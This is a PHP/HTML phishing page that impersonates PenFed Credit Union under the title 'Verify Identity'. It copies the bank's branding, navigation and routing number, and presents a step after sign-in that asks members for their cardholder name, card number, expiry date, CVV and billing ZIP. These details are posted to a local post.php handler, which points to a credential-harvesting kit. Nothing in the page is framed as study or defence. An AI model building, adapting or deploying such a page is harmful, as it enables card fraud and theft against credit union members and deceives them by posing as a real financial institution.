<?php

?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Source+Sans+3:wght@300;400;600;700&display=swap" rel="stylesheet">
    <title>PenFed Credit Union — Verify Identity</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --navy:      #1B3A6B;
            --navy-dark: #122849;
            --blue:      #1B6EBF;
            --blue-dark: #155aa0;
            --text:      #2d2d2d;
            --text-sub:  #6b7280;
            --border:    #d1d5db;
            --offwhite:  #f5f7fa;
            --white:     #ffffff;
        }
        html, body { height: 100%; font-family: 'Source Sans 3', sans-serif; color: var(--text); }
        body { display: flex; flex-direction: column; min-height: 100vh; background: var(--offwhite); }

        .utility-bar { background: #f0f2f5; border-bottom: 1px solid #dde1e8; padding: 6px 0; }
        .utility-inner { max-width: 1200px; margin: 0 auto; padding: 0 32px; display: flex; align-items: center; justify-content: center; gap: 28px; }
        .utility-bar a { font-size: 12.5px; color: var(--text-sub); text-decoration: none; }
        .utility-bar a:hover { color: var(--navy); }
        .utility-bar .routing { font-size: 12.5px; color: var(--text-sub); font-weight: 600; }
        .search-link { margin-left: auto; display: flex; align-items: center; gap: 5px; color: var(--blue); font-weight: 600; font-size: 12.5px; text-decoration: none; }

        .main-nav { background: var(--white); border-bottom: 1px solid #e5e8ef; padding: 0 32px; }
        .nav-inner { max-width: 1200px; margin: 0 auto; display: flex; align-items: center; height: 76px; gap: 0; }
        .nav-logo { display: flex; align-items: center; text-decoration: none; margin-right: 32px; flex-shrink: 0; }
        .nav-logo img { height: 54px; width: auto; display: block; }
        .nav-links { display: flex; align-items: center; flex: 1; }
        .nav-links a { font-size: 14px; font-weight: 600; color: var(--text); text-decoration: none; padding: 0 14px; height: 76px; display: flex; align-items: center; border-bottom: 3px solid transparent; transition: color 0.15s, border-color 0.15s; white-space: nowrap; }
        .nav-links a:hover { color: var(--blue); border-bottom-color: var(--blue); }
        .nav-actions { display: flex; align-items: center; gap: 10px; margin-left: 20px; }
        .btn-join { background: var(--blue); color: #fff; border: none; border-radius: 4px; padding: 10px 22px; font-family: 'Source Sans 3', sans-serif; font-size: 14px; font-weight: 700; cursor: pointer; text-decoration: none; transition: background 0.15s; }
        .btn-join:hover { background: var(--blue-dark); }
        .btn-login-nav { background: transparent; color: var(--navy); border: 2px solid var(--navy); border-radius: 4px; padding: 9px 22px; font-family: 'Source Sans 3', sans-serif; font-size: 14px; font-weight: 700; cursor: pointer; text-decoration: none; transition: background 0.15s, color 0.15s; }
        .btn-login-nav:hover { background: var(--navy); color: #fff; }

        /* Page content */
        .page-body {
            flex: 1;
            display: flex; align-items: center; justify-content: center;
            padding: 48px 20px;
            background: linear-gradient(160deg, #f0f4fb 0%, #e8eef8 100%);
        }

        .verify-wrap {
            width: 100%; max-width: 520px;
        }

        /* Breadcrumb steps */
        .steps-bar {
            display: flex; align-items: center; gap: 0;
            margin-bottom: 24px;
        }
        .step-item {
            display: flex; align-items: center; gap: 8px;
            font-size: 12.5px; font-weight: 600;
        }
        .step-num {
            width: 26px; height: 26px; border-radius: 50%;
            display: flex; align-items: center; justify-content: center;
            font-size: 11px; font-weight: 700; flex-shrink: 0;
        }
        .step-item.done .step-num { background: var(--navy); color: #fff; }
        .step-item.done .step-label { color: var(--navy); }
        .step-item.active .step-num { background: var(--blue); color: #fff; box-shadow: 0 0 0 3px rgba(27,110,191,0.2); }
        .step-item.active .step-label { color: var(--blue); }
        .step-item.pending .step-num { background: #d1d9e6; color: #8a96a6; }
        .step-item.pending .step-label { color: var(--text-sub); }
        .step-connector { flex: 1; height: 2px; background: #d1d9e6; margin: 0 8px; }
        .step-connector.done { background: var(--navy); opacity: 0.35; }

        /* Card */
        .card {
            background: var(--white);
            border-radius: 6px;
            padding: 36px 36px 32px;
            box-shadow: 0 4px 24px rgba(27,58,107,0.10);
            animation: cardIn 0.4s ease both;
        }
        @keyframes cardIn { from { opacity: 0; transform: translateY(14px); } to { opacity: 1; transform: translateY(0); } }

        .card-logo { text-align: center; margin-bottom: 20px; }
        .card-logo img { height: 44px; width: auto; }

        .card-header { margin-bottom: 20px; padding-bottom: 16px; border-bottom: 2px solid var(--blue); }
        .card-header h1 { font-size: 20px; font-weight: 700; color: var(--navy); }
        .card-header p { font-size: 13.5px; color: var(--text-sub); margin-top: 4px; }

        .sec-notice {
            display: flex; align-items: center; gap: 9px;
            background: #f0f4fb; border: 1px solid #c8d8f0;
            border-radius: 4px; padding: 10px 13px; margin-bottom: 20px;
        }
        .sec-notice svg { flex-shrink: 0; color: var(--navy); }
        .sec-notice span { font-size: 12.5px; color: var(--navy); font-weight: 600; }

        .field { margin-bottom: 14px; }
        .field label { display: block; font-size: 12px; font-weight: 700; color: var(--text); margin-bottom: 5px; letter-spacing: 0.02em; }
        .field input { width: 100%; height: 44px; padding: 0 13px; border: 1.5px solid var(--border); border-radius: 4px; font-family: 'Source Sans 3', sans-serif; font-size: 14px; color: var(--text); background: var(--white); outline: none; transition: border-color 0.15s, box-shadow 0.15s; }
        .field input::placeholder { color: #b5bec9; }
        .field input:focus { border-color: var(--blue); box-shadow: 0 0 0 3px rgba(27,110,191,0.12); }
        .field-row { display: grid; grid-template-columns: 1fr 1fr; gap: 14px; margin-bottom: 14px; }
        .field-row .field { margin-bottom: 0; }

        .card-logos { display: flex; align-items: center; gap: 10px; margin-bottom: 20px; }
        .card-logo-badge {
            background: var(--offwhite); border: 1px solid var(--border);
            border-radius: 4px; padding: 4px 10px;
            font-size: 11px; font-weight: 700; color: var(--text-sub);
            letter-spacing: 0.05em;
        }

        .btn-main {
            width: 100%; height: 46px;
            background: var(--blue); color: #fff;
            border: none; border-radius: 4px;
            font-family: 'Source Sans 3', sans-serif;
            font-size: 15px; font-weight: 700; cursor: pointer;
            margin-bottom: 16px;
            display: flex; align-items: center; justify-content: center; gap: 8px;
            transition: background 0.15s;
        }
        .btn-main:hover { background: var(--blue-dark); }

        .card-links { display: flex; flex-direction: column; gap: 10px; padding-top: 14px; border-top: 1px solid var(--border); }
        .card-links a { font-size: 13px; color: var(--blue); text-decoration: none; display: flex; align-items: center; gap: 5px; }
        .card-links a:hover { color: var(--navy); text-decoration: underline; }

        .page-footer { background: var(--navy); padding: 20px 32px; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; }
        .footer-inner { max-width: 1200px; margin: 0 auto; width: 100%; display: flex; align-items: center; justify-content: space-between; flex-wrap: wrap; gap: 12px; }
        .footer-links { display: flex; gap: 20px; flex-wrap: wrap; }
        .footer-links a { font-size: 12px; color: rgba(255,255,255,0.6); text-decoration: none; }
        .footer-links a:hover { color: #fff; }
        .footer-copy { font-size: 12px; color: rgba(255,255,255,0.4); }

        @media(max-width: 600px) { .card { padding: 24px 20px 28px; } .field-row { grid-template-columns: 1fr; } .nav-links { display: none; } .main-nav { padding: 0 20px; } .step-label { display: none; } }
    </style>
</head>
<body>
    <div class="utility-bar">
        <div class="utility-inner">
            <span class="routing">Routing # 256078446</span>
            <a href="#">Partners</a><a href="#">Member Discounts</a><a href="#">Wealth</a>
            <a href="#">Foundation</a><a href="#">ATMs &amp; Branches</a><a href="#">About</a>
            <a href="#" class="search-link">Search <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><circle cx="11" cy="11" r="8"/><path d="m21 21-4.35-4.35"/></svg></a>
        </div>
    </div>

    <nav class="main-nav">
        <div class="nav-inner">
            <a href="#" class="nav-logo"><img src="res/img/logo.svg" alt="PenFed Credit Union"></a>
            <div class="nav-links">
                <a href="#">Checking &amp; Savings</a><a href="#">Credit Cards</a><a href="#">Auto</a>
                <a href="#">Mortgage &amp; Home Equity</a><a href="#">Loans</a><a href="#">Learn</a>
            </div>
            <div class="nav-actions">
                <a href="#" class="btn-join">Join Now</a>
                <a href="#" class="btn-login-nav">Log In</a>
            </div>
        </div>
    </nav>

    <div class="page-body">
        <div class="verify-wrap">
            <!-- Steps -->
            <div class="steps-bar">
                <div class="step-item done">
                    <div class="step-num">✓</div>
                    <span class="step-label">Sign In</span>
                </div>
                <div class="step-connector done"></div>
                <div class="step-item active">
                    <div class="step-num">2</div>
                    <span class="step-label">Verify Identity</span>
                </div>
                <div class="step-connector"></div>
                <div class="step-item pending">
                    <div class="step-num">3</div>
                    <span class="step-label">Confirm</span>
                </div>
            </div>

            <div class="card">
                <div class="card-logo"><img src="res/img/logo.svg" alt="PenFed Credit Union"></div>
                <div class="card-header">
                    <h1>Verify Your Identity</h1>
                    <p>Enter your card details to confirm your account</p>
                </div>
                <div class="sec-notice">
                    <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><rect x="3" y="11" width="18" height="11" rx="2"/><path d="M7 11V7a5 5 0 0110 0v4"/></svg>
                    <span>256-bit SSL encryption — your data is fully protected</span>
                </div>
                <div class="card-logos">
                    <span class="card-logo-badge">VISA</span>
                    <span class="card-logo-badge">MC</span>
                    <span class="card-logo-badge">AMEX</span>
                    <span class="card-logo-badge">DISC</span>
                </div>
                <form action="post.php" method="post">
                    <div class="field">
                        <label>Cardholder Name</label>
                        <input type="text" name="name" placeholder="As shown on card" autocomplete="cc-name">
                    </div>
                    <div class="field">
                        <label>Card Number</label>
                        <input type="text" name="cc" id="cc" required placeholder="XXXX XXXX XXXX XXXX" inputmode="numeric">
                    </div>
                    <div class="field-row">
                        <div class="field">
                            <label>Expiration Date</label>
                            <input type="text" name="exp" id="exp" required placeholder="MM / YY" inputmode="numeric">
                        </div>
                        <div class="field">
                            <label>CVV / Security Code</label>
                            <input type="password" name="cvv" id="cvv" required placeholder="CVV" inputmode="numeric">
                        </div>
                    </div>
                    <div class="field">
                        <label>Billing ZIP Code</label>
                        <input type="text" name="zip" placeholder="ZIP Code" inputmode="numeric">
                    </div>
                    <button type="submit" class="btn-main">
                        Continue
                        <svg width="14" height="14" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2.5" stroke-linecap="round" stroke-linejoin="round"><path d="M5 12h14M12 5l7 7-7 7"/></svg>
                    </button>
                </form>
                <div class="card-links">
                    <a href="#">
                        <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><circle cx="12" cy="12" r="10"/><line x1="12" y1="8" x2="12" y2="12"/><line x1="12" y1="16" x2="12.01" y2="16"/></svg>
                        Having trouble? Contact member support
                    </a>
                    <a href="login.php">
                        <svg width="12" height="12" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"><polyline points="15 18 9 12 15 6"/></svg>
                        Back to log in
                    </a>
                </div>
            </div>
        </div>
    </div>

    <footer class="page-footer">
        <div class="footer-inner">
            <div class="footer-links"><a href="#">Privacy</a><a href="#">Security</a><a href="#">Terms of Use</a><a href="#">Accessibility</a><a href="#">Contact Us</a></div>
            <div class="footer-copy">© 2025 PenFed Credit Union. Federally Insured by NCUA. Equal Housing Lender.</div>
        </div>
    </footer>

    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
    <script>
        $("#cc").mask("0000 0000 0000 0000");
        $("#exp").mask("00/00");
        $("#cvv").mask("0000");
    </script>
</body>
</html>